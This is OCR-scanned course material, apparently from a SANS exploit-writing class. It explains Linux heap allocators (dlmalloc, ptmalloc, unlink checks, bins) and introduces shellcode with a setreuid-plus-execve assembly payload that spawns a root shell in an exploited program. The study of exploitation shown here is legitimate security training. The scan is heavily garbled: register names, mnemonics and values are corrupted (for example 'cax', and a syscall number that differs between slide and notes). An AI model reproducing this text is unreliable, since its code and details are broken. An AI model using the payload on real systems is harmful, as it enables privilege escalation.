Intel 64 and 1A-32 Intel Architecture Software Developer’s Manuals

http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html
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Dynamic Linux Memory

SANS SEC660.4

| Penerration Tesning, Fxploir Wridng, and

Dynamic Linux Memeory

We will next take a look at dynamic memory on Linux, such as the heap segment. Dynamic memory
can be much more complex and difficult to follow than memory allocated on the stack segment. Heaps
do not use return pointers like on the stack. Instead, pointers arc used to reference data and chunks of
dynamically allocated memory.
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Objectives

e Qur objective for this module is to
understand:

— Dynamic Memory and the Heap
— Stack vs. Heap

— GNU C Library and Malloc
e malloc(), realloc(), free(), calloc()

—dimalloc and ptmalloc
— frontlink() and unlink()

Objectives

The objective of this module is to understand dynamic memory on Linux. We will go through how
dynamic memory differs from stack memory and analyze the aspects of its management. Specifically,
we will walk through the GNU C Library and its implementations of Malloc using Doug Lea’s Malloc
and ptmalloc. We will also examine the frontlink() and unlink() functions before and after pointer
checks were added.
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Memory — The Heap (1)

e What is a heap?
— Dynamic memory allocated at program runtime
e Memory allocating functions are used to request
resources
— Allocation time is not finite
— Memory is freed by:
e Program code

e Garbage collector
» Program termination
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Memory — The Heap (1)

When memory space is needed and that size is fixed by the programmer, the stack may be the best
choice to hold that data. You commonly sce functions making usc of the stack segment to pass
constant sized variables to other called functions, often with the goal of receiving a return value of
some sort. Once a function is complete, control is returned to the calling function. Functions that are
given memory on the stack have a finite lifetime and usc a Last in First out (LIFO) manner of handling
itself. For example, the main() function is allocated memory on the stack. As functions are called from
main(), the memory is allocated on the stack on top of main() and grows from higher memory
addressing towards lower memory addressing. Thus when you are allocating space on the stack, you
are actually subtracting the desired amount of space from the ESP register as it grows. The stack has a
benefit in where it automatically cleans up after itsclf once a function is complcte. This is not the same
as with a heap.

When the data is of a variable amount, must be accessible by multiple functions, is large and/or docs
not necessarily have a finite lifetime, the heap may be the best location for that data. During program
runtime, the loader loads segments of data into memory such as the code segment and data scgment.
Also created at program runtime are the stack and heap segments. Global and static variables such as
that in the .data and .bss segments are often placed after the code segment and before the heap,
although it can be argued that thesc sections are in fact part of the process heap. The kernel requests
memory using system calls such as sbrk() and mmap(). These calls allocate a large block of memory
and do not make the most efficient usc of that memory, thus we want a way to manage memory more
cfficiently.
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With the heap, allocated memory is not automatically cleaned up as with the stack. The stack has a
calling convention that automatically takes carc of popping values off the stack and returning control
to the calling function. The heap, on the other hand, requires the programmer to call a function to frec
the memory allocated. Failure to free the memory on the heap can result in problems including
memory leakage, resource exhaustion, and fragmentation. When a user opens up a web browscr, the
developers of the browser have no way of knowing how many tabs the user will open, what types of
pages will be visited, how much memory spacc is required for cach site, etc. It is this that makes the
heap a more desirable location for the data than the stack. The space required is of variable size.
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Memory — The Heap (2)

Code Segment 1. Code Segment holds executable
Data Segment instructions
BSS Segment 2. Data Segment stores global and static
variables
et Sogieit 3. BSS Segment stores uninitialized
Low Mem counterparts

4. Heap Segment is used for all other

High Mem program variables

Stack Segment

Dynamically Allocated  Erickson. Jon. “Hacking. The Art of Exploitation.”
Memory San Francisco: No Starch Press, 2003
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Memory — The Heap (2)

This diagram helps to visualize the way in which a Linux program is loaded into memory. At the top
you sce the Code Scgment. Once a program is loaded into memory, EIP holds the address of the first
instruction in the Code Segment to start the program, also known as the “Program Entry Point.” The
Code Segment is often loaded at lower memory addresses than other segments. The Data Segment
stores global and static variables used by the program. With some implementations you will sce other
scgments loaded that could potentially divide up the types of data in the Data Segment. The BSS
scgment stores uninitialized variables that may not be needed by the program, or that will remain
uninitialized until they are referenced.

Following the BSS segment is where the Heap segment begins. Let us say, for example, you are
running a web browser and an image needs to be loaded on the page. Memory must be allocated on the
heap at this point in order to store the image in memory. In this cxample the malloc() function could be
called to allocate the required space. Again, the heap grows from lower memory addressing towards
the Stack Segment, starting at a much higher memory address. Each operating system is likely
different. That being said, the layout of the various sections in memory is likely to be different. Be sure
to understand the layout for a system you arc testing.

The idea behind this image was borrowed from: Erickson, Jon. “Hacking, The Art of Exploitation.”
San Francisco: No Starch Press, 2003
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Malloc Implementation

]

Heap manager used by the program

Library of functions used by the C
programming language for dynamic memory
allocation

Interface to sbrk() and mmap()

— Breaks sbrk() and mmap() memory allocations
into smaller chunks

Easily ported to other languages
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Malloc Implementation

The GNU C library implementation of malloc used Doug Lea’s malloc (dlmalloc) up until version
2.3.x, before switching to ptmalloc. Malloc is actually an interface to a library of functions to support
dynamic memory allocation. The included functions arc malloc(), realloc(), and free(), which will each
be discusscd separately.

brk(), sbrk() and mmap() System Calls

The primary purpose of the malloc functions are to divide up the memory allocated by the brk(), sbrk()
and mmap() systems calls into smaller chunks. We’ll discuss when sbrk() may be called versus
mmap() and vice-versa. Regardless, these allocators do not make the most cfficient use of memory.
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malloc()

e Each malloc implementation contains
functions such as:
— malloc() — Allocates a chunk of memory

— realloc() — Decreases or increases amount of
space allocated

— free() — Frees the previously allocated chunk

— calloc() initializes data as all 0's

e Specify an array of N elements, each with a defined
size
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malloc()

The malloc() function is used to specify the amount of memory requested on the heap. A pointer is
returncd holding the address of the location where memory was allocated.

void * malloc_r(void *REENT, size_t NBYTES);

realloc()

The realloc() function can be called to modify the size of an existing chunk of memory. For example, if
the area of memory allocated with malloc() can be smaller, or if more space is nceded, realloc() can
decreasc or increase the size of the chunk accordingly. A pointer is also returned holding the address of
the location where memory was reallocated.

void * realloc_r(void *REENT,
void *APTR, size t NBYTES);

free()

Once the allocated memory is no longer needed, you can use the free() function to free up the memory
and return it to the management pool. This marks the chunks of memory allocated as available for use.
No pointer is returned when using the free() function.

void _free_r(void *REENT, void *APTR);
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calloe()

The calloc() function is similar to malloc() and even requests memory from the same pool. The
primary difference is that memory allocated using calloc() is initialized with all 0’s. The calloc()
function also allows you to specify an array of N elements, each with a defined size. The memory
will be assigned from a contiguous block and will not be fragmented. You will also commonly see
programmers allocating memory using malloc() and then using the memset() function to initialize the
allocated memory to 0's.

This is done mostly for performance purposcs. Initializing data to all 0's helps to prevent memory
leaks by overwriting all pre-existing data residing in that space.

void *calloc(size t N, size tS);

void *calloc_r(void ¥*REENT, size t <n>, <size t>S);
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dimalloc (1)

e Doug Lea’s malloc implementation

e Used by many Linux variants as the primary
memory allocator

e Includes malloc(), realloc(), free() and some
utility routines
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dlmalloe (1)

Doug Lea’s malloc implementation, commonly referred to as dimalloc, was the primary memory
allocator used under the GNU C Library up to GCC 2.3.x. The dlmalloc implementation manages how
allocation will be handled using the routines malloc(), realloc() and free(). The goal of Doug Lea’s
memory allocator was to improve speed, portability, minimize space, tunability, and other features.
There are various utility routines such as unlink() and frontlink() that we will cover shortly.

Doug Lca’s malloc page is located at: http://g.oswego.edu/dl/html/malloc.html
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dimalloc (2)

Chunk-> Preyv_Size
Size .
Fiemion e < Chunk Layout
Prev_Size| Size ..Dala. |Prev Size| Size .. Data..
< Chunk 1 > < Chunk 2 >

Adjacent Chunks in Memory
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dimalloc (2)

The image concept on this slide, as well as the source for much of the content on dlmalloc, is taken
from the article titled, “Once upon a free()...” authored by Anonymous in Phrack issue #57. The article
gives a simple, yet effective, description of how a chunk is laid out in memory when using the malloc()
function.

The top section titled chunk on the left of the diagram is the location of the chunk in memory. The
address of this location can be called the chunk pointer. The value held at the address of the chunk
pointer is the prev_size element. If the chunk directly before the current chunk is unused, it holds the
prior size of that chunk before it was freed. When this is the casc, free() and unlink() work together to
coalesce the chunks into one large chunk, minimizing thc number of bin entries. The general rule is
that no two chunks should cxist side-by-side in memory without being coalesced. Bins hold available
chunks of memory bascd on their size. For example, chunks of memory available that are 100 bytes
will be grouped together in one bin while larger chunks are in different bins.

The size field simply contains the size of the current chunk. Once the malloc() function is called to
allocate a chunk of memory on the heap, the size field is padded out to the next DWORD boundary.
This docs not affect the size of the actual chunk, only the value stored in the size field. Since we are
padding out to the next DWORD, it can be assumed that the lowest three bits are always zero. These
bits arc used as flags. The lowest bit is of most importance. Since we’re not using it as part of the
chunk data, it can be used to specify whether or not the previous chunk is in use. This bit is called the
PREV INUSE bit. If this bit is sct (1), the previous chunk is in use. If it is not set (0), the previous
chunk is not in use. This is used by the free() and unlink() functions to determine whether or not
chunks can be coalesced. The second and third bit can be used to represent other information, such as
arcna information, but is not important for our studies at this time.
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The next section down, titled mem on the left of the diagram, is the memory address of
where the data starts within the chunk. The address of this location is what is returned from

malloc() and rcalloc(). The sizing information on both sides of the data portion of the chunk
is often referred to as boundary tags.
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dimalloc (3)

Chunk->| Prev_Size

Mem->

€ Freed Chunk Layout

Prev Size| Size |FDPtr|BKPtr| Old Data |Prev Sizel Size ...Data...
“—m——Chunk 1 - Not in Use > :

Chunk 2 - In Usg-——meest

Adjacent Chunks in Memory
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dimalloc (3)

On this image, also inspired by Phrack issuc #57, we sce the same prev_size field at the top.
Remember that if the prior chunk has been freed, this ficld holds the prior size of that chunk. What
happens to a chunk when it’s freed using the free() function from malloc? The first thing that happens
is the free() function is called with the address of where the data portion of the chunk begins passed as
an argument. The function then checks the PREV_INUSE bit of the chunk to be freed to see if the
current chunk and prior chunk can be combined. This field is located simply by using the address
passced to the free() function -4 bytes and then checking to sce if the lowest bit is set to onc or not.

Once the free() function determines if any adjacent chunks can be merged, the PREV_INUSE bit of
the next chunk in use must be cleared to mark the newly freed chunk as unused. As you can sce on the
diagram on this slide, there are two new fields where the data previously started. These are the forward
and backward pointers. Each pointer takes up four bytes and starts where the data portion started
before the chunk was freed. Any data that existed after these pointers, before the chunk was freed, may
cither still remain in memory or can be zeroed out if the programmer chooses to do so. These pointers
point into a doubly-linked list with the locations of available chunks of memory. If chunks located in
the linked list can be consolidated, the unlink() function removes any unneeded entrics from the list
and updates the pointers accordingly. For example, if a chunk is being freed and the chunk before or
after is also unused, the unlink() function is called to unlink the chunk from the doubly-linked list, they
arc coalesced, then frontlink() is called to insert the new chunk into the appropriate bin.
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unlink() & frontlink()

e The unlink() function removes chunks from a
doubly-linked list

e The frontlink() function inserts new chunks
into a doubly-linked list

e unlink() is called by free() when an adjacent
chunk is also unused
— Performs coalescing
—“Holding Hands"”
— Then frontlink() is called to reinsert
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unlink() & frontlink()

As stated carlier, if chunks located in a linked list residing in a bin can be consolidated, the unlink()
function is called by free(). For example, if a chunk is being freed and the chunk before it is also
unused, the unlink() function is called to remove the already freed chunk from the list. The two chunks
arc then coalesced and the frontlink() function is used to inject the chunk back into the doubly-linked
list with the updated size. Just as well, if a request is made by malloc(), calloc(), or realloc(), and a
chunk is assigned, unlink() must remove the entry from the doubly-linked list and update the adjacent
chunks on the list accordingly.

A group of individuals holding hands could be used as an analogy to unlink(). Imaginc that ten people
arc holding hands, creating a linked circle. Now imagine that onc individual must Icave the circle. In
order to maintain the circular bond, a process has to be in place to tic the hands together that were left
unlinked by the removal of the individual.
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Unlinking a Chunk

Free LlSt

Where'd he g,o"

- ? @ P g

Reallocated

Chunk \-—
FD =)
BK <¢=m

Unlinking a Chunk

1)

2)

3)

Three chunks are happily pointing to each other on the free list. “FD™ is the forward pointer to
the chunk in the forward direction and “BK™ is the backward pointer to the chunk in the
backward direction.

The center chunk has just been allocated and is removed from the free list. At this point, in
theory, the outer chunks are pointing to an invalid memory location on the free list as the
chunk once there has been put into usc.

The unlink() function has successfully changed the “FD” and “BK™ pointers of thc outer
chunks on the free list to point to each other.
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Frontlinking a Chunk

->

frontlink()
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Frontlinking a Chunk

D)

2)

3)

Three chunks are happily pointing to cach other on the free list. “FD” is the forward pointer to
the chunk in the forward direction and “BK” is the backward pointer to the chunk in the
backward direction.

The center chunk has just been allocated and is removed from the free list. At this point, in
theory, the outer chunks arc pointing to an invalid memory location on the frec list as the
chunk once there has been put into use.

The unlink() function has successfully changed the “FD” and “BK” pointers of the outer
chunks on the free list to point to cach other.

73



Unlink & Coalescing Process (1)

Chunk 1-80 bytes | Chunk 2 — 80 bytes | Chunk 3 — 80 bytes | Chunk 4 — 80 bytes

Chunks 1 & 4 are free and are the same size. They are pointing to each other.
RIS & 5 Jec s Nje- KRNSO TR DS el S cOUNN &

Unlink & Coalescing Process (1)

On this slide there are four chunks. Chunk I, on the far left is currently not in use and resides on a
doubly-linked free list as an available chunk. The middle two chunks (2 & 3) are currently in use, but
free() was just called against chunk 2. Chunk 4, on the far right is currently not in use and also resides
on the doubly-linked list as an available chunk. Chunks | & 4 each point to each other with forward
and backward pointers, as shown on the slide.

In this situation the free() function will check the PREV_INUSE bit in chunk 2 to determine if
coalescing can be performed. This would make for onc large chunk as opposed to two smaller chunks.
If we free chunk 2 and coalesce it with chunk 1, the chunk will need to be unlinked from the doubly-
linked list, coalesced, and reinserted with frontlink(). This is shown on the next slide.
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Unlink & Coalescing Process (2)

Unlink & Coalescing Process (2)

As shown on this slide, chunks | & 2 have been joined together into one chunk and this chunk is
marked as free. The chunk was reinserted to the doubly-linked list by frontlink() and pointers written
accordingly.
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}

unlink() without Checks

#define unlink(P, BK, FD) {\

FD = P->fd; \
/* FD = the pointer stored at chunk +8 */
BK = P->bk; \ FD~»

/* BK = the pointer stored at chunk +12 %/ Bk~
FD->bk = BK;; \

/* At FD +12 write BK to set new bk pointer */
BK->fd = FD;\

/* At BK +8 write FD to set new fd pointer */
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unlink() without Checks

Prev_Size

Size

Forward Pointer

Backward Pointer

Old Data

Prev Size

Fiee Chunk

| lac kin - 7

Below is the original source for the unlink() macro with added comments:

#dcfinc unlink(P, BK, FD) {\

FD = P->fd; \

/* FD = the pointer stored at chunk +8 */

BK = P->bk; \

/* BK = the pointer stored at chunk +12 */
FD->bk = BK; \

/* At FD +12 write BK to set new bk pointer */
BK->fd = FD; \

/* At BK +8 write FD to set new fd pointer */

76




unlink() with Checks

#define unlink(P, BK, FD) {\
FD = P->fd; \
BK = P->bk; \
if (_builtin_expect (FD->bk !=P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list",

P); \
else {\
FD->bk = BK; \
BK->fd = FD;\
N\

\dvanced Penetration Testing, Lxploit Writdng, and Lichical

unlink() with Checks

Checks are now made to ensure the pointers have not been corrupted. Below is the code:

#define unlink(P, BK, FD) {\
FD = P->fd; \
BK = P-=bk:; \
if (_ builtin_expect (FD->bk =P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P); \
else {\
FD->bk = BK; \
BK-=fd = FD; \
A

Now we are simply adding a check to make surc that the FD’s bk pointer is pointing to our current
chunk and that BK’s fd pointer is also pointing to our current chunk. If it is != we print out the crror,
“Corrupted Double-linked list.”
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Bins

e 128 bins with dimalloc

— Sorted by size
e <512 bytes kept in a large number of small bins
e >512 bytes kept in remaining larger bins

e Fastbins
— Small size up to 80-bytes
— Never merged
- Singly-Linked

e No backward pointers
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Bins

Linked lists are kept in bins based on their size. There arc a total of 128 bins available, which are
sorted by size. The first bin is used for unsorted chunks that were recently freed and acts as a cache of
chunks availablc if their size matches a request. If they are not quickly taken by malloc(), calloc(), or
realloc(), they are placed into a bin based on their size. Chunks greater than 128 KBs arc not placed
into a bin, but are handled by the mmap() function. Frontlink() works with an index to determine the
appropriate bin for a freed chunk.

Fastbins are used for frequently used, smaller chunks of data up to 80 bytcs. They are connected with
singly-linked lists, as no chunks from the middle are taken. Fastbins use Last-In First-Out (LIFO)
ordering to distribute a requested chunk of memory. This is a perfect example where efficiency is often
chosen over sccurity.
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Bin Ind

Bin Indexing

o4
F2
16
8
4
2

il

e As stated in the malloc.c source code:
Indexing
Bins for sizes < 512 bytes contain chunks of all the

same size, spaced 8 bytes apart. Larger bins are
approximately logarithmically spaced:

bins of size 8
bins of size 64
bins of size 512
bins of size 4096
bins of size 32768
bins of size 262144

bin of size what's left
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exing

As stated in the dlmalloc source code, “Bins for sizes < 512 bytes contain chunks of all the same size, spaced
8 bytes apart. Larger bins are approximately logarithmically spaced. (See the table below.) The “av ' array is
never mentioned directly in the code, but instead via bin access macros.”

The bin indexing is stated as the following:

64 bins of size 8
32 bins of size 64
16 bins of size 512
8 bins of size 4096
4 bins of size 32768
2 bins of size 262144
1 bin of size what's left

This means that for chunks up to 512 bytes in size, each bin correlates to a specific size, spaced by 8-bytes. The
bin number can be multiplied by 8 to determine the chunk size for that bin’s freelist.
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The Wilderness

o Chunk bordering the highest memory address
— Heaps grow up towards the stack
e Calls sbrk() to increase size and remains contiguous
e The mmap() function can be used for non-
contiguous requests
— Creation of new arenas
— Threaded programs include multiple arenas
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The Wilderness

The wilderness chunk or top chunk is the chunk bordering the highest memory address allocated so far
by sbrk(). If no available memory is available, its size can be increased by calling the sbrk() function.
This is the only chunk that can increase the size of the heap. The term wilderness comes from the idca
that it is bordering the unknown and was named by Kiem-Phong Vo.

The mmap() function can also be used instead of sbrk() if the wilderness chunk cannot be increased
duc to a large memory request that sbrk() cannot handle, or if a non-contiguous block is requested as
the space is not available within the existing arcna. An arcna is a heap allocated through mmap() or
sbrk(). Each thread, when using a memory allocator such as ptmalloc, can have multiple arcnas.
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ptmalloc

Based on dimalloc and written by Wolfgram
Gloger

Designed to support multiple threads

— fork() vs. threads

Original ptmalloc version published as part of
glibc-2.3.x

ptmalloc(3) is the current version although
ptmalloc(2) is most common
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ptmalloc

The ptmalloc memory allocator was written by Wolfgram Gloger and is based on Doug Lea’s memory
allocator. The goal of ptmalloc over dimalloc is primarily to support multiple threads and allow for
multiple heaps. In this implementation, multiple threads do not have to share the samc heap. Other
goals of the allocator are the same as Doug Lea’s. Those are to provide portability, incrcase speed,
allow for tuning, and other features. ptmalloc uscs sbrk() and mmap() to allocatc memory based on the
request. Just like dimalloe, sbrk() is used to increase an existing heap by way of the wilderness chunk,
and mmap() is uscd to allocate a new arcna.

With fork(), cach call creates a new child process copying the parent process. Each process gets a new
Process 1D and its own address space. Sharing between the processes can be difficult duc to the
separatc address spacc. Threading on the other hand shares the same Process 1D and memory space.
Sharing within the process is much more seamless. Note: Threads are difficult to program properly
with C and C++ as the languages were designed with fork() in mind and not threading. You will often
sce programmers siding with fork(), as it has been around for a long time and is portable between all
OSs.

Wolfram Gloger’s malloc homepage can be found at: http://www.malloc.de/cn/
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tcmalloc & jemalloc

e Thread-Caching Malloc (tcmalloc)

— Developed by Google, as part of Google Performance
Tools

— A high speed memory allocator

— Has a heap checker to check for C++ memory leaks
e Jason Evan’s Malloc (jemalloc)

— Replaced phkmalloc on FreeBSD

— Used by the Firefox browser, Facebook,

— Multi-threading support

— Each arena gets its own processor

tcmalloe & jemalloc

Some of the other available memory allocators include thread-caching malloc (tcmalloc), available at
http://goog-perftools.sourceforge.net/doc/tcmalloc.html, and Jason Evan’s malloc (jemalloc), available
at http://www.canonwarc.com/jemalloc/. It was built to be scalable for multiple processors and thrcads,
using multiplc arcnas.

The tcmalloc implementation was developed at Google, and is available as part of the Google
Performance Tools. It is a high speed memory allocator that can be incorporated into your programs
with the —ltcmalloc flag during compilation. Other malloc implementations are also available.
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Example: malloc()

e Objective: Find the address of the chunk
allocated by malloc()

e Create and compile the following:
#include <stdlib.h>
main () {

malloc (500) ;
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Example: malloc()

The objective of this example is to locate the address of the 500 byte chunk assigned by malloc(). Use
a text editor on your Gutsy VM and create the following program in C:

#include <stdlib.h>
main(){
malloc(500);

Save the program as malloc_check.c in your home directory on the Kubuntu image. Compile the
program with “gcc malloc _check.c —o malloc_check™ at a command prompt. Next, we’ll determine a
way to locate the address of the chunk assigned by malloc().
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Tool: Itrace

Tool to intercept and record library calls
Author: Juan Cespedes
Freeware under the GNU Public License

Similar to the tool strace

— strace is the successor to Itrace, however Itrace
is easier to read for our purposes

Useful for locating calls for memory

allocations

\dvanced Penetration Testing,

Tool: Itrace

The tool Itrace was authored by Juan Cespedes and is freeware under the GNU Public License. Itrace
exccutes a program until it exits, and during program execution it records library calls and the signals
received. The relative strace tool traces systems calls as well as library calls by default and is more
compatible with many OS’.

Common commands include;

Itracc —p (pid) - This command tells Itrace to attach to the requested Process 1D and begin tracing.

Itracc —S — This command traces system calls as well as library calls.

Itrace —f — This command traces child processes created by fork().

strace is another great tool and is actually the successor to Itrace. However, Itrace still makes it a bit
casier for us to find basic information that we need.
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Example Answer

e Use ltrace or strace to find the location of
the chunk allocated by malloc()

—-$ ltrace ./malloc_check 2>&l |[grep
malloc

malloc (500) =0x804a008
— 2>&1 redirects stderr
— ASLR will cause this location to change

\dvanced Penetration Testing, Exploit Writing, and Lithical Hacking

Example Answer

There are several tools that will allow you to determine the location of memory allocations.
Again, we'll usc the Itrace tool. By entering the command:

Itrace ./malloc_check 2>&1 |grep malloc

...we get the response:
malloc(500) =0x804a008

We sec that the start address of the chunk created by our malloc(500) statement is at the memory
address 0x0804a008.
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Module Summary

Memory Allocators

—Doug Lea’s dimalloc

— Wolfram Gloger’s ptmalloc
malloc(), realloc(), free(), calloc()
unlink() & frontlink()

Bins and the Wilderness

sloit Writing, and Lichical Hacking

Module Summary

In this module we covered how heap memory is managed on the Linux operating system. There are
many memory allocators available that are simply wrappers to the functions malloc(), realloc(), free(),
and calloc(). The wrappers arc able to add additional features and controls to the functions they
manage. Dynamic memory can be quite complex when attempting to follow the execution flow of a
program and how and where memory is allocated.
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Review Questions

1) What function updates the PREV_INUSE
flag?

2) Which Linux memory allocator supports
threading?

a) Doug Lea’s malloc()
b) rtlallocateheap()

¢) ptmalloc()

3) What is the top-most chunk often called?

Review Questions

1) What function updates the PREV INUSE flag?

2) Which Linux memory allocator supports threading?
a) Doug Lea’s malloc()
b) rtlallocatcheap()

¢) ptmalloc()

3) What is the top-most chunk often called?
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Answers

1) free()
2) C, ptmalloc
3) The Wilderness Chunk

wd ithical Hlll"'

Answers

1) free() — The free() function updates the PREV_INUSE flag when it frees a chunk.

2) C - Ptmalloc supports threading as opposed to only forking.

3) The Wilderness Chunk — The top most chunk on the heap is often referred to as the wilderness
chunk as it faces unmanaged memory and the unknown.
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Recommended Reading

e Once upon a free()... by Anonymous
http://www.phrack.com/issues.html?issue=57&id=9

e A Memory Allocator by Doug Lea
http://g.oswego.edu/dl/html/malloc.html

e ptmalloc by Wolfram Gloger http://www.malloc.de/en/

Recommended Reading

Once upon a free()... by Anonymous
http://www.phrack.com/issues.html?issuc=57&id=9

A Memory Allocator by Doug Lea
http://g.oswego.edu/dl/html/malloc.html

ptmalloc by Wolfram Gloger
http://www.malloc.de/cn/
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Introduction to Shellcode

SANS SEC660.4

Introduction to Shellcode

This module steps through the definition of shellcode, how it is used, and some typical behavioral
issucs that must be taken into consideration when writing shellcode.
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Objectives

e Our objective for this module is to
understand:

— Shellcode Basics
— System Calls

— Writing Shellcode
— Removing Nulls
— Testing Shellcode

Objectives

In this module we will dive into the world of shellcode. We will first step through some basics about
shcllcode and system calls, followed by how to write shellcode. We will focus on Linux shellcode
writing as it is less complex than Windows shellcode. Windows shellcode is covered on the
appropriate course day.
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Shellcode

Shellcode — Code to spawn a shell ...
Written in Assembly Language

— Assembled into Machine Code
Specific to processor type

—e.g. x86, PowerPC, ARM, x64 OSX

Injected into a program during exploitation
and serves as the “payload”

\dvanced Penerradon Testing, Fisploic Writing, and Iithical Hacking

Shellcode

Shellcode got its name from the fact that historically, it was primarily used to spawn a shell. Shellcode
is usually written in assembly language and then assembled into machine code by a tool such as the
Netwide Assembler (NASM). Nowadays shellcode can be used to pretty much do anything under the
rights of the program being compromised. Common uses of shellcode are to bind a shell to a listening
port on the system, shovel (reverse) shell out to a remote system, add a uscr account, DLL injection,
log deletion or forging, and many other functions.

Shellcode is most commonly written in an assembly language such as x86. The fact that assembly code
is architecture-specific makes it non-portable between different processor types. Shellcode is typically
written to directly manipulate processor registers to set them up for various system calls made with
opcodes. Once the assembly code has been written to perform the operation desired, it must then be
converted to machine code and freed of any null bytes. It must be free of any null bytes, as many string
operators such as strepy() terminate when hitting them, There are tricks to get around this, which we
will cover.
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System Calls

Force the program to call functions on your behalf

e Communicate between user mode and kernel mode
(Ring 0)

e Arguments are loaded into processor registers and an

interrupt is made. On 32-bit x86:

— EAX holds the desired system call number

— EBX, ECX and EDX hold arguments usually in alphabetical
order

Each system call must be well-understood prior to

writing the assembly code

Advanced Penetradon Testing, Fxploir Writing, and Ithical Hacking

System Calls

In order to call functions to perform operations such as opening up a port on the system or modifying
permissions, system calls must be used. On UNIX OS’, system call numbers are assigned for cach function.
Their consistency allows for easc in programming amongst different operating systems. System calls
provide a way to manage communication to hardware and functionality offered by the Kernel that may not
be included in the application's address spacc. Most systems use ring levels to provide security and
protection from allowing an application to dircctly access hardware and certain system functions. In order
for a user-level program to access a function outside of its address space, such as setuid(), it must identify
the system call number of the desired function and then send an interrupt 0x80 (int 0x80). The instruction
“int 0x80” is an assembly instruction that invokes system calls most *NIX OS’. Interrupts work as a way of
signaling the OS to let it know that an event of some sort has occurred. With this information, the OS can
prioritize tasks and instructions to process.

With most system calls, one or more arguments are required. The system call number is loaded into the
EAX register. Arguments that are to be passed to the desired function are loaded into EBX, ECX and EDX,
usually in that order. (64-bit systems make usc of QWORD registers and R9-R16.) For example, if we arc
calling the exit() function. The value “1” is loaded into EAX. Any arguments to exit() arc loaded into the
other registers, and finally, the “int 0x80” is cxccuted. An example of these instructions is:

mov cax, |

mov cbx, 0
int 0x80

The above instructions load the system call number “1” for exit() into EAX. The value “0” is loaded into
EBX, and finally, the interrupt 0x80 is cxccuted.
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The following is a short list of some common system calls:

00 sys_setup [sys_ni_syscall]
01 sys_exit

04 sys_write
05 sys_open
06 sys_close

11 sys_execve
15 sys_chmod

23 sys_setuid
24 sys_getuid

37 sys_kill
39 sys_mkdir
40 sys_rmdir

45 sys brk
46 sys_setgid

52 sys_umount2 [sys umount] (2.2+)
53 sys _lock [sys_ni_syscall]

54 sys_ioctl

55 sys_fentl

56 sys_ mpx [sys_ni_syscall]

70 sys_setreuid
71 sys_setregid
72 sys sigsuspend

A full list can be found in the file, */usr/include/asm-i386/unistd.h™ Thanks to Jon Erickson
for pointing that out.
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Creating Shellcode (1)

e Let’s get right to how to write effective
shellcode

e Spawning a Root shell
— Many programs will drop privileges

— We need to restore rights
e setreuid() System Call

— Other problems may arise ...
— We'll do a 32-bit example

Advanced Penetration Testing, Iixploit Writng, and thical Hacking

Creating Shellcode (1)

Many security rescarchers have become reliant on resources such as “The Metasploit Project” located
at http://www.metasploit.org for shellcode generation. The ability to quickly fetch shellcode for POC
is great, but it is important that onc knows how shellcode works and how to make changes. If you code
many POC cxploits you will often find yourself in one-off situations where custom shellcode is
required. Also, what happens if existing shellcode becomes obsolete and you are forced to create your
own ... Itis a great skill to have and one that forces a necessary bond with assembly code.

We will not spend much time here, as the concepts hold truc with the generation of most shellcode.
Once you understand the requirements, you will be able to work your way through many different
types of shellcode. Often the complexity introduced by more advanced shellcode on Linux is due to
the requirement to understand how to do things, such as binding a shell to a listening port for a remote
cxploit. If you have this knowledge with a programming language such as C or C++, you will simply
need to understand what the system call is expecting in assembly and in which registers to load the
arguments.

We will take a look at how to escalate your privileges to root. We will skip straight to the requirement
of restoring the rights of the application being exploited to avoid getting a uscr-level shell. As
discussed previously, whenever possible an application will drop the privileges of an application as a
sccurity feature. In order to have your shellcode spawn a root shell, we will need to call a function to
restore the rights of the application. For this we will use the setreuid() system call. We will also cover
some other problems cncountered when writing shellcode.
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Creating Shellcode (2)

|BITS 32

mov eax, OxGQ |

[mov ebx, Ox0Q

mov ecx, Ox0Q

nov edx, Ox0

mov eax, Oxd5
int 0x80

mov eax, O0x00 ,
push edx .

push edx

push esp

mOY ecx, esp
mov eax, OxOb
int Ox80 .
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Creating Shellcode (2)

This slide gives us the assembly code nceded to restore rights to the application in order for it to run as
root when making our execve() call to spawn a root shell. Note that this is not a typical x86 asscmbly
program. There arc no scctions such as “.text” and “.data” defined as a normal assembly program
would have. We are attempting to write a piece of position independent assembly code. We will be
injecting this code inside an application’s address spacc, and as such must compensate for the fact that
we cannot easily define various sections. The most efficient and successful way to write our shellcode
is to ensure its ability to run indcpendently. There are many tricks that shellcode authors will use in
order to get their shellcode to execute successfully. We will see a couple of these techniques. Let’s
walk through the asscmbly code on this slide with the notes added by this author.

BITS 32

; Below is the syscall for restoring the UID back to 0...

mov cax, 0x00 ; We're moving 0x0 to cax to prepare it for a syscall number
mov cbx, 0x00 ; We're moving 0x0 to cbx to pass as arg to setreuid()

mov ccx, 0x00 ; We're moving 0x0 to ccx to pass as arg to setreuid()

mov edx, 0x00 ; We're moving 0x0 to edx to pass as arg to sctreuid()

mov cax, 0x46 ; Loading syscall #70 sctreuid() into cax

int 0x80 ; Sending interrupt and execute syscall for setreuid()

; Below is the syscall for execve() to spawn a shell...
mov eax, 0x00 ; Zcroing out eax again.
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push edx ; Pushing null byte to terminate string.

push 0x68732f2f ; Pushing //sh before null byte. // makes it 4 bytes. Extra / is
ignored

push 0x6¢69622f ; Pushing /bin before //sh and the null byte.

mov ebx, esp ; Moving Stack Pointer address into ebx register.

push edx ; Pushing 0x0 from XOR-cd cdx reg onto stack

push csp ; Pushing csp address above above 0x0.

MoV ecx, esp ; Copying esp to ecx for argy.

mov cax, 0x0b ; Loading system call number 11 execve() into cax

int 0x80 ; Sending interrupt and executc syscall for exeeve()
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The Netwide Assembler (NASM)

e Tool: NASM
— Original Authors: Simon Tatham & Julian Hall
— NASM is an x86, x86-64 assembler

— Used to assemble assembly code into object files
e Supports ELF, COFF, and others

\dvanced Penetration Testing, Lixploit Writing, and ithical Hacking

The Netwide Assembler (NASM)

In order to assecmble our shellcode and extract the machine instructions, we will first usc the x86
assembler, The Netwide Assembler (NASM). This tool was originally written by Simon Tatham and
Julian Hall. It is currently maintained by H. Peter Anvin and his team.

NASM is an x86 and x86-64 assembler that supports several object file formats, including ELF,
COFF, Win32, Mach-O and others. You can specify the object file format with the —f switch. For
example, “nasm —f elf <filename>"" will assemble the assembly code as an ELF exccutable. For our
purposes, we will be using NASM to simply assemble our assembly code in order for us to extract the
